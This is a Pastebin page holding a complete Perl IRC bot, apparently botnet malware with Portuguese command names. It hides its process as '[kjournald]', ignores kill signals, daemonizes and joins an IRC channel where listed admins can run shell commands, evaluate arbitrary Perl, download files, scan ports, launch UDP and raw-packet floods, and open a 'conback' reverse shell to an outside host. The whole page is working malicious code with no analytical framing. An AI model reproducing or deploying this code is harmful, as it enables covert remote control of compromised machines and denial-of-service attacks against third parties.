Advertisement
Guest User

Untitled

a guest
Sep 26th, 2014
806
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 20.63 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. my $processo = "[kjournald]";
  4. $servidor=$ARGV[0] unless $servidor;
  5. my $porta=$ARGV[1];
  6. my @canais=("##n3");
  7. my @adms=("jpl.nasa.gov");
  8. my $linas_max=10;
  9. my $sleep=3;
  10. my $nick = "X".int(rand(9999999));
  11. my $ircname = 'opus';
  12. my $realname = "Earth";
  13. my $acessoshell = 1;
  14. my $prefixo = "!bot";
  15. my $estatisticas = 0;
  16. my $pacotes = 1;
  17.  
  18. $SIG{'INT'} = 'IGNORE';
  19. $SIG{'HUP'} = 'IGNORE';
  20. $SIG{'TERM'} = 'IGNORE';
  21. $SIG{'CHLD'} = 'IGNORE';
  22. $SIG{'PS'} = 'IGNORE';
  23.  
  24. use IO::Socket;
  25. use Socket;
  26. use IO::Select;
  27. chdir("/tmp");
  28. $servidor="$ARGV[0]" if $ARGV[0];
  29. $0="$processo"."\0";
  30. my $pid=fork;
  31. exit if $pid;
  32. die "Problema com o fork: $!" unless defined($pid);
  33.  
  34. my %irc_servers;
  35.  
  36. sub getstore ($$)
  37. {
  38.   my $url = shift;
  39.   my $file = shift;
  40.  
  41.   $http_stream_out = 1;
  42.   open(GET_OUTFILE, "> $file");
  43.   %http_loop_check = ();
  44.   _get($url);
  45.   close GET_OUTFILE;
  46.   return $main::http_get_result;
  47. }
  48.  
  49. sub _get
  50. {
  51.   my $url = shift;
  52.   my $proxy = "";
  53.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  54.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  55.     my $host = $1;
  56.     my $port = $2 || 80;
  57.     my $path = $3;
  58.     $path = "/" unless defined($path);
  59.     return _trivial_http_get($host, $port, $path);
  60.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  61.     my $host = $1;
  62.     my $port = $2;
  63.     my $path = $url;
  64.     return _trivial_http_get($host, $port, $path);
  65.   } else {
  66.     return undef;
  67.   }
  68. }
  69.  
  70.  
  71. sub _trivial_http_get
  72. {
  73.   my($host, $port, $path) = @_;
  74.   my($AGENT, $VERSION, $p);
  75.  
  76.   $AGENT = "get-minimal";
  77.   $VERSION = "20000118";
  78.  
  79.   $path =~ s/ /%20/g;
  80.  
  81.   require IO::Socket;
  82.   local($^W) = 0;
  83.   my $sock = IO::Socket::INET->new(PeerAddr => $host,
  84.                                    PeerPort => $port,
  85.                                    Proto   => 'tcp',
  86.                                    Timeout  => 60) || return;
  87.   $sock->autoflush;
  88.   my $netloc = $host;
  89.   $netloc .= ":$port" if $port != 80;
  90.   my $request = "GET $path HTTP/1.0\015\012"
  91.               . "Host: $netloc\015\012"
  92.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  93.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  94.   $request .= "\015\012";
  95.   print $sock $request;
  96.  
  97.   my $buf = "";
  98.   my $n;
  99.   my $b1 = "";
  100.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  101.     if ($b1 eq "") {
  102.       $b1 = $buf;
  103.       $buf =~ s/.+?\015?\012\015?\012//s;
  104.     }
  105.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  106.   }
  107.   return undef unless defined($n);
  108.  
  109.   $main::http_get_result = 200;
  110.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  111.     $main::http_get_result = $1;
  112.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  113. ) {
  114.       my $url = $1;
  115.       return undef if $http_loop_check{$url}++;
  116.       return _get($url);
  117.     }
  118.     return undef unless $main::http_get_result =~ /^2/;
  119.   }
  120.  
  121.   return $buf;
  122. }
  123.  
  124. $sel_cliente = IO::Select->new();
  125. sub sendraw {
  126.   if ($#_ == '1') {
  127.     my $socket = $_[0];
  128.     print $socket "$_[1]\n";
  129.   } else {
  130.       print $IRC_cur_socket "$_[0]\n";
  131.   }
  132. }
  133.  
  134. sub conectar {
  135.    my $meunick = $_[0];
  136.    my $servidor_con = $_[1];
  137.    my $porta_con = $_[2];
  138.  
  139.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  140.    if (defined($IRC_socket)) {
  141.      $IRC_cur_socket = $IRC_socket;
  142.  
  143.      $IRC_socket->autoflush(1);
  144.      $sel_cliente->add($IRC_socket);
  145.  
  146.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  147.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  148.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  149.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  150.      nick("$meunick");
  151.      sendraw("PASS 45QOhktzhwR4Ai");
  152.      sendraw("USER opus ".$IRC_socket->sockhost." $servidor_con :$realname");
  153.      sleep 2;
  154.    }
  155.  
  156. }
  157. my $line_temp;
  158. while( 1 ) {
  159.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  160.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  161.    my @ready = $sel_cliente->can_read(0.6);
  162.    next unless(@ready);
  163.    foreach $fh (@ready) {
  164.      $IRC_cur_socket = $fh;
  165.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  166.      $nread = sysread($fh, $msg, 4096);
  167.      if ($nread == 0) {
  168.         $sel_cliente->remove($fh);
  169.         $fh->close;
  170.         delete($irc_servers{$fh});
  171.      }
  172.      @lines = split (/\n/, $msg);
  173.  
  174.      for(my $c=0; $c<= $#lines; $c++) {
  175.        $line = $lines[$c];
  176.        $line=$line_temp.$line if ($line_temp);
  177.        $line_temp='';
  178.        $line =~ s/\r$//;
  179.        unless ($c == $#lines) {
  180.          parse("$line");
  181.        } else {
  182.            if ($#lines == 0) {
  183.              parse("$line");
  184.            } elsif ($lines[$c] =~ /\r$/) {
  185.                parse("$line");
  186.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  187.                parse("$line");
  188.            } else {
  189.                $line_temp = $line;
  190.            }
  191.        }
  192.       }
  193.    }
  194. }
  195.  
  196. sub parse {
  197.    my $servarg = shift;
  198.    if ($servarg =~ /^PING \:(.*)/) {
  199.      sendraw("PONG :$1");
  200.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  201.        my $pn=$3; my $onde = $4; my $args = $5;
  202.        if ($args =~ /^\001VERSION\001$/) {
  203.          notice("$pn", "\001VERSION mIRC v6.35 Khaled Mardam-Bey\001");
  204.        }
  205.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  206.          notice("$pn", "\001PONG\001");
  207.        }
  208.        elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  209.          if ($onde eq "$meunick"){
  210.            shell("$1", "$args");
  211.          }
  212.          elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  213.             my $natrix = $1;
  214.             my $arg = $2;
  215.             if ($arg =~ /^\!(.*)/) {
  216.               ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  217.             } elsif ($arg =~ /^\@(.*)/) {
  218.                 $ondep = $onde;
  219.                 $ondep = $pn if $onde eq $meunick;
  220.                 bfunc("$ondep","$1");
  221.             } else {
  222.                 shell("$onde", "$arg");
  223.             }
  224.          }
  225.        }
  226.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  227.        if (lc($1) eq lc($meunick)) {
  228.          $meunick=$4;
  229.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  230.        }
  231.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  232.        $meunick = getnick();
  233.        nick("$meunick");
  234.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  235.        $meunick = $2;
  236.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  237.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  238.        foreach my $canal (@canais) {
  239.          sendraw("JOIN $canal");
  240.        }
  241.    }
  242. }
  243.  
  244. sub bfunc {
  245.   my $printl = $_[0];
  246.   my $funcarg = $_[1];
  247.   if (my $pid = fork) {
  248.      waitpid($pid, 0);
  249.   } else {
  250.       if (fork) {
  251.          exit;
  252.        } else {
  253.            if ($funcarg =~ /^portscan (.*)/) {
  254.              my $hostip="$1";
  255.              my @portas=("21","22","23","25","53","80","110","143");
  256.              my (@aberta, %porta_banner);
  257.              foreach my $porta (@portas)  {
  258.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  259.                 if ($scansock) {
  260.                    push (@aberta, $porta);
  261.                    $scansock->close;
  262.                 }
  263.              }
  264.              if (@aberta) {
  265.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  266.              } else {
  267.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  268.              }
  269.            }
  270.            
  271.            elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  272.             getstore("$1", "$2");
  273.             sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu�do!") if ($estatisticas);
  274.             }
  275.              
  276.            elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  277.              my $hostname="$1";
  278.              my $portainicial = "$2";
  279.              my $portafinal = "$3";
  280.              my (@abertas, %porta_banner);
  281.              foreach my $porta ($portainicial..$portafinal)
  282.              {
  283.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  284.                if ($scansock) {
  285.                  push (@abertas, $porta);
  286.                  $scansock->close;
  287.                  if ($estatisticas) {
  288.                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  289.                  }
  290.                }
  291.              }
  292.              if (@abertas) {
  293.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  294.              } else {
  295.                sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  296.              }
  297.             }
  298.  
  299.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  300.               return unless $pacotes;
  301.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  302.               my $alvo=inet_aton("$1");
  303.               my $porta = "$2";
  304.               my $tempo = "$3";
  305.               my $pacote;
  306.               my $pacotese;
  307.               my $fim = time + $tempo;
  308.               my $pacota = 1;
  309.               while (($pacota == "1") && ($pacotes == "1")) {
  310.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  311.                 $pacote=$rand x $rand x $rand;
  312.                 $porta = int(rand 65000) +1 if ($porta == "0");
  313.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  314.               }
  315.               if ($estatisticas)
  316.               {
  317.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  318.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  319.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
  320.               }
  321.             }
  322.            
  323.             elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  324.               return unless $pacotes;
  325.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  326.               my $faixaip="$1";
  327.               my $porta = "$2";
  328.               my $tempo = "$3";
  329.               my $pacote;
  330.               my $pacotes;
  331.               my $fim = time + $tempo;
  332.               my $pacota = 1;
  333.               my $alvo;
  334.               while ($pacota == "1") {
  335.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  336.                 for (my $faixa = 1; $faixa <= 255; $faixa++) {
  337.                   $alvo = inet_aton("$faixaip.$faixa");
  338.                   $pacote=$rand x $rand x $rand;
  339.                   $porta = int(rand 65000) +1 if ($porta == "0");
  340.                   send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  341.                   if ($faixa >= 255) {
  342.                     $faixa = 1;
  343.                   }
  344.                 }
  345.               }
  346.               if ($estatisticas)
  347.               {
  348.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  349.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  350.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  351.               }
  352.             }
  353.            
  354.             elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  355.               my $host = "$1";
  356.               my $porta = "$2";
  357.               my $proto = getprotobyname('tcp');
  358.               my $iaddr = inet_aton($host);
  359.               my $paddr = sockaddr_in($porta, $iaddr);
  360.               my $shell = "/bin/sh -i";
  361.               if ($^O eq "MSWin32") {
  362.                 $shell = "cmd.exe";
  363.               }
  364.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  365.               connect(SOCKET, $paddr) or die "connect: $!";
  366.               open(STDIN, ">&SOCKET");
  367.               open(STDOUT, ">&SOCKET");
  368.               open(STDERR, ">&SOCKET");
  369.               system("$shell");
  370.               close(STDIN);
  371.               close(STDOUT);
  372.               close(STDERR);
  373.  
  374.               if ($estatisticas)
  375.               {
  376.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  377.               }
  378.             }
  379.  
  380.            elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  381.             return unless $pacotes;
  382.              my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  383.              $dtime = 1 if $dtime == 0;
  384.              my %bytes;
  385.              $bytes{igmp} = $2 * $pacotes{igmp};
  386.              $bytes{icmp} = $2 * $pacotes{icmp};
  387.              $bytes{o} = $2 * $pacotes{o};
  388.              $bytes{udp} = $2 * $pacotes{udp};
  389.              $bytes{tcp} = $2 * $pacotes{tcp};
  390.              unless ($estatisticas)
  391.              {
  392.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
  393.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
  394.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
  395.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  396.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M�dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  397.              }
  398.            }
  399.            exit;
  400.        }
  401.   }
  402. }
  403.  
  404. sub ircase {
  405.   my ($kem, $printl, $case) = @_;
  406.  
  407.    if ($case =~ /^join (.*)/) {
  408.      j("$1");
  409.    }
  410.    elsif ($case =~ /^part (.*)/) {
  411.       p("$1");
  412.    }
  413.    elsif ($case =~ /^rejoin\s+(.*)/) {
  414.       my $chan = $1;
  415.       if ($chan =~ /^(\d+) (.*)/) {
  416.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  417.           p("$2");
  418.           j("$2");
  419.         }
  420.       } else {
  421.           p("$chan");
  422.           j("$chan");
  423.       }
  424.    }
  425.    elsif ($case =~ /^op/) {
  426.       op("$printl", "$kem") if $case eq "op";
  427.       my $oarg = substr($case, 3);
  428.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  429.    }
  430.    elsif ($case =~ /^deop/) {
  431.       deop("$printl", "$kem") if $case eq "deop";
  432.       my $oarg = substr($case, 5);
  433.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  434.    }
  435.    elsif ($case =~ /^voice/) {
  436.       voice("$printl", "$kem") if $case eq "voice";
  437.       $oarg = substr($case, 6);
  438.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  439.    }
  440.    elsif ($case =~ /^devoice/) {
  441.       devoice("$printl", "$kem") if $case eq "devoice";
  442.       $oarg = substr($case, 8);
  443.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  444.    }
  445.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  446.       msg("$1", "$2");
  447.    }
  448.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  449.       for (my $cf = 1; $cf <= $1; $cf++) {
  450.         msg("$2", "$3");
  451.       }
  452.    }
  453.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  454.       for (my $cf = 1; $cf <= $1; $cf++) {
  455.         ctcp("$2", "$3");
  456.       }
  457.    }
  458.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  459.       ctcp("$1", "$2");
  460.    }
  461.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  462.       invite("$1", "$2");
  463.    }
  464.    elsif ($case =~ /^nick (.*)/) {
  465.       nick("$1");
  466.    }
  467.    elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  468.        conectar("$2", "$1", 6667);
  469.    }
  470.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  471.       DCC::SEND("$1", "$2");
  472.    }
  473.    elsif ($case =~ /^raw (.*)/) {
  474.       sendraw("$1");
  475.    }
  476.    elsif ($case =~ /^eval (.*)/) {
  477.       eval "$1";
  478.    }
  479.    elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  480.     sleep int(rand($2));
  481.     j("$1");
  482.    }
  483.    elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  484.     sleep int(rand($2));
  485.     p("$1");
  486.    }
  487.    elsif ($case =~ /^sair/) {
  488.      quit();
  489.    }
  490.    elsif ($case =~ /^novonick/) {
  491.     my $novonick = getnick();
  492.      nick("$novonick");
  493.    }
  494.    elsif ($case =~ /^estatisticas (.*)/) {
  495.      if ($1 eq "on") {
  496.       $estatisticas = 1;
  497.       msg("$printl", "Estat�sticas ativadas!");
  498.      } elsif ($1 eq "off") {
  499.       $estatisticas = 0;
  500.       msg("$printl", "Estat�sticas desativadas!");
  501.      }
  502.    }
  503.    elsif ($case =~ /^pacotes (.*)/) {
  504.      if ($1 eq "on") {
  505.       $pacotes = 1;
  506.       msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  507.      } elsif ($1 eq "off") {
  508.       $pacotes = 0;
  509.       msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  510.      }
  511.    }
  512. }
  513. sub shell {
  514.   return unless $acessoshell;
  515.   my $printl=$_[0];
  516.   my $comando=$_[1];
  517.   if ($comando =~ /cd (.*)/) {
  518.     chdir("$1") || msg("$printl", "Diret�rio inexistente!");
  519.     return;
  520.   }
  521.   elsif ($pid = fork) {
  522.      waitpid($pid, 0);
  523.   } else {
  524.       if (fork) {
  525.          exit;
  526.        } else {
  527.            my @resp=`$comando 2>&1 3>&1`;
  528.            my $c=0;
  529.            foreach my $linha (@resp) {
  530.              $c++;
  531.              chop $linha;
  532.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  533.              if ($c >= "$linas_max") {
  534.                $c=0;
  535.                sleep $sleep;
  536.              }
  537.            }
  538.            exit;
  539.        }
  540.   }
  541. }
  542.  
  543. sub attacker {
  544.   my $iaddr = inet_aton($_[0]);
  545.   my $msg = 'B' x $_[1];
  546.   my $ftime = $_[2];
  547.   my $cp = 0;
  548.   my (%pacotes);
  549.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  550.  
  551.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  552.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  553.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  554.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  555.   return(undef) if $cp == 4;
  556.   my $itime = time;
  557.   my ($cur_time);
  558.   while ( 1 ) {
  559.      for (my $porta = 1; $porta <= 65535; $porta++) {
  560.        $cur_time = time - $itime;
  561.        last if $cur_time >= $ftime;
  562.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  563.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  564.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  565.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  566.  
  567.        # DoS ?? :P
  568.        for (my $pc = 3; $pc <= 255;$pc++) {
  569.          next if $pc == 6;
  570.          $cur_time = time - $itime;
  571.          last if $cur_time >= $ftime;
  572.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  573.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  574.        }
  575.      }
  576.      last if $cur_time >= $ftime;
  577.   }
  578.   return($cur_time, %pacotes);
  579. }
  580.  
  581. sub action {
  582.    return unless $#_ == 1;
  583.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  584. }
  585.  
  586. sub ctcp {
  587.    return unless $#_ == 1;
  588.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  589. }
  590. sub msg {
  591.    return unless $#_ == 1;
  592.    sendraw("PRIVMSG $_[0] :$_[1]");
  593. }
  594.  
  595. sub notice {
  596.    return unless $#_ == 1;
  597.    sendraw("NOTICE $_[0] :$_[1]");
  598. }
  599.  
  600. sub op {
  601.    return unless $#_ == 1;
  602.    sendraw("MODE $_[0] +o $_[1]");
  603. }
  604. sub deop {
  605.    return unless $#_ == 1;
  606.    sendraw("MODE $_[0] -o $_[1]");
  607. }
  608. sub hop {
  609.     return unless $#_ == 1;
  610.    sendraw("MODE $_[0] +h $_[1]");
  611. }
  612. sub dehop {
  613.    return unless $#_ == 1;
  614.    sendraw("MODE $_[0] +h $_[1]");
  615. }
  616. sub voice {
  617.    return unless $#_ == 1;
  618.    sendraw("MODE $_[0] +v $_[1]");
  619. }
  620. sub devoice {
  621.    return unless $#_ == 1;
  622.    sendraw("MODE $_[0] -v $_[1]");
  623. }
  624. sub ban {
  625.    return unless $#_ == 1;
  626.    sendraw("MODE $_[0] +b $_[1]");
  627. }
  628. sub unban {
  629.    return unless $#_ == 1;
  630.    sendraw("MODE $_[0] -b $_[1]");
  631. }
  632. sub kick {
  633.    return unless $#_ == 1;
  634.    sendraw("KICK $_[0] $_[1] :$_[2]");
  635. }
  636.  
  637. sub modo {
  638.    return unless $#_ == 0;
  639.    sendraw("MODE $_[0] $_[1]");
  640. }
  641. sub mode { modo(@_); }
  642.  
  643. sub j { &join(@_); }
  644. sub join {
  645.    return unless $#_ == 0;
  646.    sendraw("JOIN $_[0]");
  647. }
  648. sub p { part(@_); }
  649. sub part {sendraw("PART $_[0]");}
  650.  
  651. sub nick {
  652.   return unless $#_ == 0;
  653.   sendraw("NICK $_[0]");
  654. }
  655.  
  656. sub invite {
  657.    return unless $#_ == 1;
  658.    sendraw("INVITE $_[1] $_[0]");
  659. }
  660. sub topico {
  661.    return unless $#_ == 1;
  662.    sendraw("TOPIC $_[0] $_[1]");
  663. }
  664. sub topic { topico(@_); }
  665.  
  666. sub whois {
  667.   return unless $#_ == 0;
  668.   sendraw("WHOIS $_[0]");
  669. }
  670. sub who {
  671.   return unless $#_ == 0;
  672.   sendraw("WHO $_[0]");
  673. }
  674. sub names {
  675.   return unless $#_ == 0;
  676.   sendraw("NAMES $_[0]");
  677. }
  678. sub away {
  679.   sendraw("AWAY $_[0]");
  680. }
  681. sub back { away(); }
  682. sub quit {
  683.   sendraw("QUIT :$_[0]");
  684.   exit;
  685. }
  686.  
  687. sub fixaddr {
  688.     my ($address) = @_;
  689.  
  690.     chomp $address;
  691.     if ($address =~ /^\d+$/) {
  692.         return inet_ntoa(pack "N", $address);
  693.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  694.         return $address;
  695.     } elsif ($address =~ tr/a-zA-Z//) {
  696.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  697.     } else {
  698.         return;
  699.     }
  700. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement